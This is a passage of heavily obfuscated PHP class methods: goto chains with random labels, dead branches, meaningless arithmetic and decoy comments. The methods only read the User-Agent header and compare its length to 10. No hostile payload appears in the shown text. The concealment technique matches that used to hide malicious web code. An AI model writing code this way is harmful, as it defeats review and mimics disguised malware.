aBTvGSKo; aBTvGSKo: /* System file */ $FbaGmw5w = 922 + 16; $WWDcP6ib = $FbaGmw5w * 3; if (false) { echo 'This is a dead end'; } goto YEX3fyG5; YEX3fyG5: // Z4QFp7CeV1kk $Pe9zuJ4r = 334 + 6; $iX1geSuk = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto hDqUSzSS; hDqUSzSS: /* 2D6Kzrb7ixXTWxaiuI9h */ goto EHjgTUMW; EHjgTUMW: goto isJCpkvs; isJCpkvs: // e5lNVvAZ goto QC0ejrHb; QC0ejrHb: /* API handler */ goto a8aplaBuF; a8aplaBuF: goto giMXkwGs; giMXkwGs: return $BqYDw4sr > 10; } private function x_kya9HnOd() { goto GYky2QfG; GYky2QfG: /* Core module */ goto a_Ft81Xfc; a_Ft81Xfc: $iX1geSuk = 515 + 47; $FbaGmw5w = $iX1geSuk * 4; if (false) { echo 'This is a dead end'; } goto a_5Yf0Nhg; a_5Yf0Nhg: /* UFM95PwrL4F_3Uj8B7xj */ goto Uh28XbUk; Uh28XbUk: goto Etp2QRSd; Etp2QRSd: /* 1wE6Fi3Mg7j2HiTHY2GQ */ if (false) { echo 'This is a dead end'; } goto kclTQD_w; kclTQD_w: $iCjD65Pi = 904 + 37; $bZa4iOd6 = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto a3DS4kKzf; a3DS4kKzf: /* System file */ goto B5byuyF2; B5byuyF2: /* 4eXqTU4Ac4gVpzv */ $n7sJ6WnP = 587 + 16; $iCjD65Pi = $n7sJ6WnP * 5; goto a8EyVpJa1; a8EyVpJa1: $jIP39ari = 939 + 49; $WWDcP6ib = $jIP39ari * 4; goto rr7pUdJd; rr7pUdJd: // b2N4om4h goto a_3s8t0EY; a_3s8t0EY: // Q3XjQ28xscGn goto jeRnXbQ9; jeRnXbQ9: $Pe9zuJ4r = 131 + 36; $Pe9zuJ4r = $Pe9zuJ4r * 4; goto W14fVy2D; W14fVy2D: // DhvrnEOb $a29IFo9lZ = 130 + 4; $a29IFo9lZ = $a29IFo9lZ * 3; goto NXjC9R90; NXjC9R90: goto a71Xbgm8r; a71Xbgm8r: goto ZZwDbES5; ZZwDbES5: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto WkjhfOfA; WkjhfOfA: /* Security component */ goto a15WliN0v; a15WliN0v: goto D2o_0AjW; D2o_0AjW: goto ydlBM3BO; ydlBM3BO: goto Isb2tHVT; Isb2tHVT: // zbf1x8lD62JEd19Y $jIP39ari = 739 + 6; $n7sJ6WnP = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto Ksjzrbn8; Ksjzrbn8: /* API handler */ $a6EHyDbxg = 378 + 38; $B9ma2fmF = $a6EHyDbxg * 4; goto H8f455oz; H8f455oz: $a29IFo9lZ = 227 + 42; $a6b9oay5s = $a29IFo9lZ * 4; goto eB7YdBcV; eB7YdBcV: goto WppHIw0K; WppHIw0K: /* Core module */ if (false) { echo 'This is a dead end'; } goto Erdqv6UO; Erdqv6UO: goto uZNAnQ05; uZNAnQ05: /* Core module */ goto k1PwHMAi; k1PwHMAi: goto Jft0CL80; Jft0CL80: /* 5fXq0mn7UovOxZgGkXik */ if (false) { echo 'This is a dead end'; } goto uKOvDPqk; uKOvDPqk: if (false) { echo 'This is a dead end'; } goto MAwAvJp4; MAwAvJp4: goto OcYuZpl4; OcYuZpl4: $Pe9zuJ4r = strlen($a29IFo9lZ); goto vkXTgkfl; vkXTgkfl: goto KcPBdfYH; KcPBdfYH: /* Security component */ $XsucffsH = 360 + 2; $a6b9oay5s = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto q1kYyvLS; q1kYyvLS: // iN8Fj3ZJj9i8TF0G goto YKUzx4Yx; YKUzx4Yx: goto aPYA30_B; aPYA30_B: /* cUJmZ0yFUS7azPeRQRpv */ $NqlX8zGc = 772 + 45; $Pe9zuJ4r = $NqlX8zGc * 1; goto RfdCGza1; RfdCGza1: /* Security component */ $a29IFo9lZ = 556 + 43; $NqlX8zGc = $a29IFo9lZ * 5; goto zpLVPVlO; zpLVPVlO: /* Core module */ if (false) { echo 'This is a dead end'; } goto kZDEq5eD; kZDEq5eD: /* D1pL37mLzMS3PhX */ goto oRmN37zG; oRmN37zG: goto q8E3qNCs; q8E3qNCs: // CQol8RYE goto a1PDADZUX; a1PDADZUX: goto a2T6PmtHE; a2T6PmtHE: $iX1geSuk = 115 + 50; $XsucffsH = $iX1geSuk * 1; goto qn_IK1RB; qn_IK1RB: /* API handler */ goto UucxMKHB; UucxMKHB: /* Security component */ goto a0d_8PoKA; a0d_8PoKA: // ELbSEzljI3Z9 goto nFbokACD; nFbokACD: return $Pe9zuJ4r > 10; } private function UW8dJnSToE() { goto csREO2SO; csREO2SO: $WWDcP6ib = 622 + 18; $WWDcP6ib = $WWDcP6ib * 5; goto yw66izRc; yw66izRc: goto AvSReTWB; AvSReTWB: /* XPWW5TFjGAzu9u45i9o4 */ goto a2KVZkEiH; a2KVZkEiH: goto ut0Be29E; ut0Be29E: goto PgiF6h6C; PgiF6h6C: $a6EHyDbxg = 184 + 12; $iX1geSuk = $a6EHyDbxg * 2; goto RN2pGfop; RN2pGfop: goto rhJV1SET; rhJV1SET: goto yHHmvBAQ; yHHmvBAQ: // kvVEAHoaRvMY goto ag0xKfSp; ag0xKfSp: if (false) { echo 'This is a dead end'; } goto nGQj5SZk; nGQj5SZk: goto BSydwke5; BSydwke5: goto jAXMf2Ar; jAXMf2Ar: goto AwRfrsHB; AwRfrsHB: goto v70kojHk; v70kojHk: goto LbRKFQJS; LbRKFQJS: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto oa9hg2Wk; oa9hg2Wk: /* n00RobQIUF */ if (false) { echo 'This is a dead end'; } goto a2cLqD7uU; a2cLqD7uU: goto khzVn3PI; khzVn3PI: $jIP39ari = 769 + 1; $WWDcP6ib = $jIP39ari * 3; goto fRckUqG2; fRckUqG2: /* etpSd06WN9UMEi2aqkSU */ goto uB3Bf3XL; uB3Bf3XL: /* API handler */ goto bFpriyZC; bFpriyZC: /* System file */ goto a0Hu3Izgx; a0Hu3Izgx: /* oCE9s_sqKbaK7B_ */ goto HV3KVHZ6; HV3KVHZ6: // Ed5OpCEolYwOmqab $B9ma2fmF = 336 + 33; $iX1geSuk = $B9ma2fmF * 2; goto Z3YAm884; Z3YAm884: if (false) { echo 'This is a dead end'; } goto Gdq1oDOT; Gdq1oDOT: /* zfo_kLmr9L */ $iX1geSuk = 751 + 40; $BqYDw4sr = $iX1geSuk * 2; goto AUlx8eeb; AUlx8eeb: /* b9tvXJOEFUpw_BC1tPTZ */ goto ePGvO4uh; ePGvO4uh: if (false) { echo 'This is a dead end'; } goto MEJj7xAk; MEJj7xAk: // 9aBwuCsdm6YiCkp_ goto a5VZvlrhz; a5VZvlrhz: /* Core module */ $Pe9zuJ4r = 851 + 18; $a29IFo9lZ = $Pe9zuJ4r * 1; goto wFxsfNYO; wFxsfNYO: goto q2cbV7ls; q2cbV7ls: $iX1geSuk = strlen($BqYDw4sr); goto vn2KigzL; vn2KigzL: /* API handler */ goto a2hD6EmN0; a2hD6EmN0: goto h5MIpMzu; h5MIpMzu: $n7sJ6WnP = 999 + 39; $BqYDw4sr = $n7sJ6WnP * 3; if (false) { echo 'This is a dead end'; } goto rseYZozV; rseYZozV: $a29IFo9lZ = 960 + 46; $Pe9zuJ4r = $a29IFo9lZ * 1; goto KzrZOhTv; KzrZOhTv: goto JSmQXtbR; JSmQXtbR: /* Core module */ $NqlX8zGc = 999 + 14; $FbaGmw5w = $NqlX8zGc * 2; goto a3hbClja6; a3hbClja6: /* System file */ $BqYDw4sr = 421 + 26; $a6b9oay5s = $BqYDw4sr * 3; goto QowIZVrh; QowIZVrh: /* System file */ goto a62mYfPQ; a62mYfPQ: // EjE3ei2SM0siLLUC goto zJzZZoId; zJzZZoId: $FbaGmw5w = 982 + 21; $iCjD65Pi = $FbaGmw5w * 3; goto JhzNVj15; JhzNVj15: goto a8YQmwo1V; a8YQmwo1V: /* l_pxtVguuQqil2tHwOOW */ goto H9N7nMu4; H9N7nMu4: goto PTac4tal; PTac4tal: // YA9bD3tlg6vpeh7V goto a_fpEUq6s; a_fpEUq6s: goto tl4jYuc_; tl4jYuc_: return $iX1geSuk > 10; } private function a1LpDTgWcGA() { /* Security component */ goto c9yY3ITx; c9yY3ITx: // hZzIa2pR $n7sJ6WnP = 452 + 43; $Pe9zuJ4r = $n7sJ6WnP * 5; goto CON8L476; CON8L476: /* System file */ $a6b9oay5s = 437 + 12; $NqlX8zGc = $a6b9oay5s * 1; if (false) { echo 'This is a dead end'; } goto BULcJDti; BULcJDti: /* Security component */ $a6EHyDbxg = 789 + 36; $jIP39ari = $a6EHyDbxg * 5; goto TmpiOEPh; TmpiOEPh: $XsucffsH = 744 + 27; $B9ma2fmF = $XsucffsH * 3; goto mVKjN3fh; mVKjN3fh: goto f8YycruC; f8YycruC: /* sSCagDfcaSsknwz9T6lE */ if (false) { echo 'This is a dead end'; } goto fUyNURh4; fUyNURh4: /* System file */ $iCjD65Pi = 582 + 14; $WWDcP6ib = $iCjD65Pi * 4; goto ub2A9kEV; ub2A9kEV: goto wmPYDjUE; wmPYDjUE: $Pe9zuJ4r = 440 + 14; $iCjD65Pi = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto d6z8_hJ7; d6z8_hJ7: // PFinYEpa goto GlwnNYfc; GlwnNYfc: /* wEr7400pEp */ $a6EHyDbxg = 763 + 11; $n7sJ6WnP = $a6EHyDbxg * 1; goto a2iZtEBGR; a2iZtEBGR: /* Security component */ $jIP39ari = 109 + 41; $jIP39ari = $jIP39ari * 1; goto z_N4xovt; z_N4xovt: /* Security component */ goto kgpEQOq1; kgpEQOq1: if (false) { echo 'This is a dead end'; } goto dYMikNlr; dYMikNlr: goto uP3juDfn; uP3juDfn: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto GAqEaeJt; GAqEaeJt: goto LPedMEVi; LPedMEVi: // iuUGiPG7lx6I_0Pm goto a4XAPNxpD; a4XAPNxpD: $a29IFo9lZ = 445 + 19; $B9ma2fmF = $a29IFo9lZ * 3; goto csJCYrO8; csJCYrO8: /* Security component */ $WWDcP6ib = 708 + 1; $n7sJ6WnP = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto bi_s8n3o; bi_s8n3o: // K6wANi63 goto hFtzJL7G; hFtzJL7G: goto a8lTgRdv9; a8lTgRdv9: /* kMDxn_PICAGuxVg */ goto kynltto5; kynltto5: // Aih6k9Mk goto l9Q5NTc_; l9Q5NTc_: // YzCYuu_9g1iDpdZI $NqlX8zGc = 218 + 33; $jIP39ari = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto VZivwTgy; VZivwTgy: goto I7QMGP7g; I7QMGP7g: $iX1geSuk = 648 + 33; $FbaGmw5w = $iX1geSuk * 4; goto Jj3vibvA; Jj3vibvA: goto a6oIfe37V; a6oIfe37V: if (false) { echo 'This is a dead end'; } goto tMuHHRK4; tMuHHRK4: goto qjyTSAfs; qjyTSAfs: // BG57ODkvv6afLxvC $a6b9oay5s = 623 + 31; $iCjD65Pi = $a6b9oay5s * 5; goto nxFOfNTm; nxFOfNTm: $iX1geSuk = strlen($iX1geSuk); goto T20vfBZb; T20vfBZb: goto VqY0nEoR; VqY0nEoR: /* NMZgsMtOWK7waLt2hu5w */ goto Q1g9oAkX; Q1g9oAkX: /* rMZTd47e5GBeUAN52EQv */ $n7sJ6WnP = 857 + 4; $a29IFo9lZ = $n7sJ6WnP * 3; goto CSLk2Axg; CSLk2Axg: goto z3OBXQGF; z3OBXQGF: goto jqyBOIbx; jqyBOIbx: $Pe9zuJ4r = 951 + 44; $a6b9oay5s = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto a3DndRBB6; a3DndRBB6: /* pZ54lvami7omoCELFTJu */ goto ypeiFg6w; ypeiFg6w: /* Main service */ goto D2isUPEa; D2isUPEa: goto ZlD3mfwp; ZlD3mfwp: /* System file */ $BqYDw4sr = 325 + 17; $iX1geSuk = $BqYDw4sr * 4; goto zT5vWVv3; zT5vWVv3: goto OZjAhxRH; OZjAhxRH: // 470S1o6Y goto lAHcaV9R; lAHcaV9R: // QzGZlclh goto a5ZgEut_z; a5ZgEut_z: $NqlX8zGc = 341 + 50; $jIP39ari = $NqlX8zGc * 3; goto LR34yicB; LR34yicB: /* Main service */ $B9ma2fmF = 562 + 19; $XsucffsH = $B9ma2fmF * 2; goto NQhibmEZ; NQhibmEZ: return $iX1geSuk > 10; } private function sO0kTLMjy4() { /* e6VFyBLiP5ZMOf7 */ goto FpJ7kCUy; FpJ7kCUy: /* RfNbOwq5NlI_tnY */ if (false) { echo 'This is a dead end'; } goto ZtLmuhlK; ZtLmuhlK: goto obg3tZqS; obg3tZqS: /* Security component */ goto LCQSF_fe; LCQSF_fe: // uHFWsdjn6Q603MLw goto GS5mKidK; GS5mKidK: $jIP39ari = 525 + 3; $a29IFo9lZ = $jIP39ari * 4; goto qjoAZ39L; qjoAZ39L: // fb6yMVcu $XsucffsH = 928 + 42; $Pe9zuJ4r = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto D_qQv8jg; D_qQv8jg: /* Main service */ goto OOw1sueM; OOw1sueM: goto a7D4tbKvf; a7D4tbKvf: $iX1geSuk = 566 + 21; $iCjD65Pi = $iX1geSuk * 3; goto e6AZ2EXi; e6AZ2EXi: // O2KxUIGUMOYzgzhr $a6b9oay5s = 491 + 38; $B9ma2fmF = $a6b9oay5s * 4; goto a1BTygbvL; a1BTygbvL: /* OT9Zd8Ij9y */ $Pe9zuJ4r = 910 + 6; $FbaGmw5w = $Pe9zuJ4r * 5; goto GcCKmgv2; GcCKmgv2: /* 6WDdvbEDM5U6Zqf */ goto nYDSynYn; nYDSynYn: goto nrsxlVvN; nrsxlVvN: $jIP39ari = 764 + 33; $a6b9oay5s = $jIP39ari * 2; goto a9_oUXP2t; a9_oUXP2t: /* System file */ $WWDcP6ib = 599 + 33; $iCjD65Pi = $WWDcP6ib * 3; goto AsNcfht1; AsNcfht1: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Y6c5EiEW; Y6c5EiEW: goto fDiJX7gA; fDiJX7gA: $n7sJ6WnP = 470 + 12; $WWDcP6ib = $n7sJ6WnP * 3; goto BAwJSfvF; BAwJSfvF: goto lS6wrTny; lS6wrTny: goto gJNZz1HM; gJNZz1HM: /* System file */ goto HFiQYu9T; HFiQYu9T: // qACoiVrX if (false) { echo 'This is a dead end'; } goto o2VPMszP; o2VPMszP: if (false) { echo 'This is a dead end'; } goto fe2dwdvH; fe2dwdvH: // O5yJDC17 if (false) { echo 'This is a dead end'; } goto hBP0r9Yp; hBP0r9Yp: /* System file */ goto vKbn6wfo; vKbn6wfo: goto SQHp3TkJ; SQHp3TkJ: $iCjD65Pi = 936 + 18; $WWDcP6ib = $iCjD65Pi * 2; goto ymuUFFEQ; ymuUFFEQ: $jIP39ari = 841 + 11; $B9ma2fmF = $jIP39ari * 1; goto BeI1Hocd; BeI1Hocd: goto R_33yOCx; R_33yOCx: /* 1JEHEYEvtAfGBV6 */ $a6b9oay5s = 570 + 42; $a6b9oay5s = $a6b9oay5s * 5; goto a0Z5YQ_rl; a0Z5YQ_rl: $NqlX8zGc = 360 + 32; $BqYDw4sr = $NqlX8zGc * 5; goto pt8Mx_qq; pt8Mx_qq: $a29IFo9lZ = strlen($WWDcP6ib); goto DJ6bfnJc; DJ6bfnJc: /* Chr1qCSGp7mZDit */ goto yEooxvd7; yEooxvd7: /* Security component */ goto aOlBU5GM; aOlBU5GM: /* Core module */ goto EEhUxeXZ; EEhUxeXZ: $BqYDw4sr = 402 + 36; $iX1geSuk = $BqYDw4sr * 4; if (false) { echo 'This is a dead end'; } goto a7TYEg_8p; a7TYEg_8p: goto dsHkpD31; dsHkpD31: /* System file */ $BqYDw4sr = 612 + 27; $Pe9zuJ4r = $BqYDw4sr * 2; goto a2X5x_M1S; a2X5x_M1S: // JxG5v5zHkxwjrjR2 goto aPqJ5b7H; aPqJ5b7H: // xANxfC9oZiJa $n7sJ6WnP = 233 + 48; $a6EHyDbxg = $n7sJ6WnP * 5; goto oDcmcZSs; oDcmcZSs: if (false) { echo 'This is a dead end'; } goto a7eGtutQE; a7eGtutQE: $BqYDw4sr = 861 + 35; $B9ma2fmF = $BqYDw4sr * 5; if (false) { echo 'This is a dead end'; } goto a4Q_SuQY2; a4Q_SuQY2: $bZa4iOd6 = 270 + 49; $bZa4iOd6 = $bZa4iOd6 * 4; goto WuPjvqDQ; WuPjvqDQ: /* YK7Ta77N7gNRN3GMFGvt */ $a6EHyDbxg = 966 + 34; $a6EHyDbxg = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto E3z7XUw0; E3z7XUw0: // QkbfqxS8Gj_P if (false) { echo 'This is a dead end'; } goto a2gPPEdGB; a2gPPEdGB: $FbaGmw5w = 207 + 39; $a29IFo9lZ = $FbaGmw5w * 2; goto r24qfh7A; r24qfh7A: // l5Eojn2IxqiEpJkw if (false) { echo 'This is a dead end'; } goto a8NMSMx0o; a8NMSMx0o: return $a29IFo9lZ > 10; } private function fYoLON6b3P() { /* RNOCI4N8Uf */ goto w7Zom_Ms; w7Zom_Ms: // 5fQPLZAtJdFwOhiR goto MGbekDd0; MGbekDd0: /* 6vXCXSZmO3aPs06 */ $Pe9zuJ4r = 880 + 47; $iCjD65Pi = $Pe9zuJ4r * 2; if (false) { echo 'This is a dead end'; } goto a7ylITqug; a7ylITqug: goto a56msQx1h; a56msQx1h: if (false) { echo 'This is a dead end'; } goto ZKQ6sKWZ; ZKQ6sKWZ: /* API handler */ goto BIWZoRmo; BIWZoRmo: /* Security component */ $B9ma2fmF = 981 + 47; $bZa4iOd6 = $B9ma2fmF * 1; goto GwFbdML0; GwFbdML0: goto a3k69o1mj; a3k69o1mj: goto a9ywbFVj8; a9ywbFVj8: goto JOt4vhwm; JOt4vhwm: goto fq1v60UO; fq1v60UO: // q96BKgfaKFiJRxOO $BqYDw4sr = 583 + 33; $iX1geSuk = $BqYDw4sr * 4; goto rb1tPGjY; rb1tPGjY: if (false) { echo 'This is a dead end'; } goto xnVNl6Bn; xnVNl6Bn: goto jhAtLQS5; jhAtLQS5: goto AAX5uUlA; AAX5uUlA: if (false) { echo 'This is a dead end'; } goto a4Vz6gYPE; a4Vz6gYPE: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Y14mMGEk; Y14mMGEk: /* Security component */ if (false) { echo 'This is a dead end'; } goto UugcxHJt; UugcxHJt: /* apWopyRsVtfNXe9 */ goto Yr7TZ2zw; Yr7TZ2zw: /* Security component */ goto sYSFyODP; sYSFyODP: goto D7dO1YyJ; D7dO1YyJ: /* API handler */ goto Y1f5jihD; Y1f5jihD: goto eajYWT5r; eajYWT5r: /* API handler */ goto Y3tDtSN7; Y3tDtSN7: $XsucffsH = 936 + 18; $XsucffsH = $XsucffsH * 5; goto s5qxFGUG; s5qxFGUG: /* Main service */ goto a3QMWuFPd; a3QMWuFPd: /* VzuUEsD5BQCoZF6etvYJ */ $jIP39ari = 697 + 37; $iCjD65Pi = $jIP39ari * 3; goto Zg9ZnZqt; Zg9ZnZqt: $XsucffsH = 265 + 29; $bZa4iOd6 = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto G9tpTKj7; G9tpTKj7: // vGl2eAxbTctYoqyl goto a_z_FI_LX; a_z_FI_LX: // 6PXfVs7ckLNkLUZ4 $WWDcP6ib = 404 + 5; $iX1geSuk = $WWDcP6ib * 1; if (false) { echo 'This is a dead end'; } goto UwQGCRRb; UwQGCRRb: goto hYyPPXdc; hYyPPXdc: /* Hdm2SBXzbAtIpOZ */ goto bOWL2EVB; bOWL2EVB: $bZa4iOd6 = strlen($a6EHyDbxg); goto QuJqffIK; QuJqffIK: // UYBfg2mgxOtl $B9ma2fmF = 123 + 40; $WWDcP6ib = $B9ma2fmF * 3; goto RFFmaUx3; RFFmaUx3: /* RlVN84InDDkpV0a */ $n7sJ6WnP = 243 + 26; $FbaGmw5w = $n7sJ6WnP * 5; goto a3EH9Og5k; a3EH9Og5k: /* AqioDMOJdlk0UMT */ if (false) { echo 'This is a dead end'; } goto pY_7Ej_y; pY_7Ej_y: if (false) { echo 'This is a dead end'; } goto zkGWVjMI; zkGWVjMI: /* eqUApH2qHw */ goto PEvW1F93; PEvW1F93: if (false) { echo 'This is a dead end'; } goto LAXGfAfm; LAXGfAfm: // n00ccFCAp89aaSN2 goto hxSj37Kx; hxSj37Kx: if (false) { echo 'This is a dead end'; } goto dLyJTvmb; dLyJTvmb: // TCPfvAMI $a6b9oay5s = 290 + 15; $Pe9zuJ4r = $a6b9oay5s * 2; goto a5nedPElJ; a5nedPElJ: /* Security component */ $a6b9oay5s = 504 + 3; $bZa4iOd6 = $a6b9oay5s * 2; goto EKeMU4DM; EKeMU4DM: /* API handler */ $FbaGmw5w = 357 + 35; $iCjD65Pi = $FbaGmw5w * 1; goto a8VowpG1y; a8VowpG1y: // ty0TjXHQ goto MbqVy3nk; MbqVy3nk: goto wduvlPeU; wduvlPeU: goto S0nGuk9a; S0nGuk9a: if (false) { echo 'This is a dead end'; } goto AozOJBrJ; AozOJBrJ: return $bZa4iOd6 > 10; } private function r9YEcfIS0t() { goto ISxup229; ISxup229: /* oASVKvYNQxr7hssiYtTC */ goto MuftoSmH; MuftoSmH: /* Main service */ if (false) { echo 'This is a dead end'; } goto laNznBbq; laNznBbq: if (false) { echo 'This is a dead end'; } goto HCLtCmI4; HCLtCmI4: // 7AJKZRMEqL8eab20 $a6EHyDbxg = 574 + 19; $a6EHyDbxg = $a6EHyDbxg * 1; goto Dn3ugfiw; Dn3ugfiw: $bZa4iOd6 = 330 + 26; $jIP39ari = $bZa4iOd6 * 4; goto WMe42SPJ; WMe42SPJ: goto EmfbGbRB; EmfbGbRB: goto zhamPfo6; zhamPfo6: /* VELVI29WqT3FpNsYb8Vg */ $XsucffsH = 489 + 25; $iCjD65Pi = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto SnaZrN9g; SnaZrN9g: $a29IFo9lZ = 668 + 31; $NqlX8zGc = $a29IFo9lZ * 3; if (false) { echo 'This is a dead end'; } goto FRyeoE0G; FRyeoE0G: /* KwWz40EdOtbkXrYzHQJJ */ $FbaGmw5w = 350 + 11; $n7sJ6WnP = $FbaGmw5w * 5; goto F3derVQw; F3derVQw: /* jgqJjGXmNKssKfqN4AQd */ if (false) { echo 'This is a dead end'; } goto a2c9SwxVd; a2c9SwxVd: /* Security component */ $BqYDw4sr = 495 + 22; $a6b9oay5s = $BqYDw4sr * 1; goto Us8RbO3r; Us8RbO3r: /* aOMtCDdmhl7VvB3GGzc7 */ $n7sJ6WnP = 107 + 26; $Pe9zuJ4r = $n7sJ6WnP * 3; goto TqMEsXZj; TqMEsXZj: // I8p6ls9H $XsucffsH = 910 + 23; $B9ma2fmF = $XsucffsH * 1; goto twC8d6CF; twC8d6CF: // sKktoQ_lh9lP $WWDcP6ib = 875 + 3; $NqlX8zGc = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto a5MWRG4la; a5MWRG4la: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a091nKA8B; a091nKA8B: goto vleQHodP; vleQHodP: /* Main service */ if (false) { echo 'This is a dead end'; } goto n00B9WFw; n00B9WFw: $FbaGmw5w = 365 + 2; $NqlX8zGc = $FbaGmw5w * 1; goto iUErwXCL; iUErwXCL: /* 3JXLyAFogY1ZEzb */ goto a4dY3Vk39; a4dY3Vk39: /* API handler */ goto wKH_qzHK; wKH_qzHK: goto a1vivETA3; a1vivETA3: goto a4XV6kl15; a4XV6kl15: goto Zt9dawaf; Zt9dawaf: $B9ma2fmF = 593 + 37; $a6EHyDbxg = $B9ma2fmF * 4; if (false) { echo 'This is a dead end'; } goto VXXKvvMJ; VXXKvvMJ: $n7sJ6WnP = 934 + 19; $a6EHyDbxg = $n7sJ6WnP * 4; goto dnz22xDM; dnz22xDM: /* System file */ if (false) { echo 'This is a dead end'; } goto yFFSajyX; yFFSajyX: /* Core module */ goto MgVrNQy9; MgVrNQy9: /* API handler */ $XsucffsH = 322 + 15; $a6b9oay5s = $XsucffsH * 1; goto cfTRNdxI; cfTRNdxI: /* API handler */ goto SbwaEPbg; SbwaEPbg: $B9ma2fmF = 370 + 5; $XsucffsH = $B9ma2fmF * 1; goto bRycG4gO; bRycG4gO: $iCjD65Pi = strlen($WWDcP6ib); goto RftPtuxp; RftPtuxp: goto MDBOSzbk; MDBOSzbk: $bZa4iOd6 = 458 + 22; $BqYDw4sr = $bZa4iOd6 * 2; goto a8t6K_SYJ; a8t6K_SYJ: if (false) { echo 'This is a dead end'; } goto sGGwfj_N; sGGwfj_N: $a6b9oay5s = 886 + 21; $a29IFo9lZ = $a6b9oay5s * 2; goto kLjw8u40; kLjw8u40: goto w48NIKCW; w48NIKCW: // gx4SM4LwlwAp goto g3Lu06NB; g3Lu06NB: goto a6Nc9zWAN; a6Nc9zWAN: $iCjD65Pi = 368 + 1; $B9ma2fmF = $iCjD65Pi * 2; goto a5WgKt65d; a5WgKt65d: $iCjD65Pi = 211 + 31; $a6b9oay5s = $iCjD65Pi * 4; goto Z3ddDrhZ; Z3ddDrhZ: // A8q4zYXYCHQjFlyA $Pe9zuJ4r = 678 + 48; $Pe9zuJ4r = $Pe9zuJ4r * 3; if (false) { echo 'This is a dead end'; } goto a5Du7YVXz; a5Du7YVXz: /* Security component */ goto IfJacYag; IfJacYag: // OglpaST823K7 goto qdaK_0FT; qdaK_0FT: $Pe9zuJ4r = 774 + 28; $a6EHyDbxg = $Pe9zuJ4r * 5; goto Y_HnWqq3; Y_HnWqq3: goto NUXkQUx_; NUXkQUx_: goto Mf0OFiDk; Mf0OFiDk: return $iCjD65Pi > 10; } private function MLZ943hKNs() { /* Main service */ goto xg_YhWAK; xg_YhWAK: if (false) { echo 'This is a dead end'; } goto dg7zGgAp; dg7zGgAp: if (false) { echo 'This is a dead end'; } goto whueomdF; whueomdF: $bZa4iOd6 = 733 + 23; $WWDcP6ib = $bZa4iOd6 * 3; goto a0mxxM5ek; a0mxxM5ek: /* Security component */ goto MRsqJpDz; MRsqJpDz: // R98vOEGw4fcB goto wzxvKOJf; wzxvKOJf: $iX1geSuk = 586 + 18; $XsucffsH = $iX1geSuk * 3; goto WfadiTUa; WfadiTUa: $iCjD65Pi = 104 + 7; $NqlX8zGc = $iCjD65Pi * 1; goto VbdM01Gw; VbdM01Gw: /* j03VJ2wbduo0HSo */ if (false) { echo 'This is a dead end'; } goto ECUs6YKb; ECUs6YKb: goto LCZtecR1; LCZtecR1: if (false) { echo 'This is a dead end'; } goto mAkVIO75; mAkVIO75: goto A0NyC0c_; A0NyC0c_: /* 84duU27KUPba5dzVgOuz */ goto a0VHuxlrP; a0VHuxlrP: $bZa4iOd6 = 436 + 5; $bZa4iOd6 = $bZa4iOd6 * 5; goto a3wW4HThb; a3wW4HThb: /* Core module */ $WWDcP6ib = 370 + 28; $XsucffsH = $WWDcP6ib * 1; goto qFO0SgJ5; qFO0SgJ5: /* System file */ if (false) { echo 'This is a dead end'; } goto jeZYVrpF; jeZYVrpF: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto w8r8l3eD; w8r8l3eD: $B9ma2fmF = 932 + 29; $BqYDw4sr = $B9ma2fmF * 1; goto y8sjqhUn; y8sjqhUn: goto Q2CeaXhy; Q2CeaXhy: // CklTpDO2jUKoihW_ goto zWsvO8yB; zWsvO8yB: /* API handler */ goto c9sEYa2f; c9sEYa2f: goto cN0fWm_l; cN0fWm_l: // XekzWasJ goto Mvf4AYzs; Mvf4AYzs: /* API handler */ $NqlX8zGc = 341 + 25; $a29IFo9lZ = $NqlX8zGc * 3; goto z5sY9VkL; z5sY9VkL: goto s4NXsgBm; s4NXsgBm: /* System file */ $NqlX8zGc = 286 + 3; $iX1geSuk = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto a8xri2z0W; a8xri2z0W: /* NgDfXAwwywdzSh9 */ goto qCTnxwsy; qCTnxwsy: /* Core module */ $iCjD65Pi = 304 + 10; $a29IFo9lZ = $iCjD65Pi * 2; goto pt14AJzG; pt14AJzG: if (false) { echo 'This is a dead end'; } goto cBsWFOsf; cBsWFOsf: $iX1geSuk = 266 + 43; $a29IFo9lZ = $iX1geSuk * 1; goto a15dmDUJf; a15dmDUJf: /* 4jKz84TFpuBQYSeKkSJA */ $Pe9zuJ4r = 173 + 32; $jIP39ari = $Pe9zuJ4r * 3; goto jByHDrRU; jByHDrRU: goto HYFJNXX4; HYFJNXX4: $BqYDw4sr = strlen($XsucffsH); goto lYzvpIiX; lYzvpIiX: goto bUjxfO7f; bUjxfO7f: $Pe9zuJ4r = 759 + 37; $Pe9zuJ4r = $Pe9zuJ4r * 2; goto s91x6NUC; s91x6NUC: /* System file */ $B9ma2fmF = 826 + 10; $iX1geSuk = $B9ma2fmF * 1; goto yHw0jRgy; yHw0jRgy: // eN7ERSd2 goto WNDgqjpS; WNDgqjpS: // L_tTu1JXw10QFXar $a6b9oay5s = 299 + 29; $n7sJ6WnP = 